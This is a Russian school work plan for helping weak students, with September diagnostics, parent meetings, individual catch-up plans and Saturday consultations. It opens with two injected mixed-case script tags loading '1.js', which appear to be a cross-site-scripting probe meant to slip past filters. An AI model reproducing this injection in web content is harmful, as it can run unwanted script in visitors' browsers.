<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

№п/п

Мероприятия

Срок

1.

Проведение контрольного среза знаний учащихся класса по основным разделам учебного материала предыдущих лет обучения. Цель:

а) Определение фактического уровня знаний детей.

б) Выявление в знаниях учеников пробелов, которые требуют быстрой ликвидации

СЕНТЯБРЬ

2.

Установление причин отставания слабоуспевающих учащихся через беседы; встречи с отдельными родителями и, обязательно, в ходе беседы с самим ребенком.

СЕНТЯБРЬ

3.

Составление индивидуального плана работы по ликвидации пробелов в знаниях отстающего ученика на текущую четверть.

СЕНТЯБРЬ,

обновлять по мере необхо-димости

4.

Используя дифференцированный подход при организации самостоятельной работы на уроке, включать посильные индивидуальные задания слабоуспевающему ученику, фиксировать это в плане урока, чтобы не забыть

В течении учебного года

5.

Вести обязательный тематический учет знаний слабоуспевающих учащихся класса

В течении учебного года

6.

Отражать индивидуальную работу со слабым учеником в рабочих или специальных тетрадях по предмету, анализах пробных тестирований.

В течении учебного года

7.

Составление индивидуального плана работы по ликвидации пробелов в знаниях отстающего ученика по результатам пробного тестирования.

В течении учебного года

8.

Проведение индивидуальных консультаций по предметам ВОУД

СУББОТА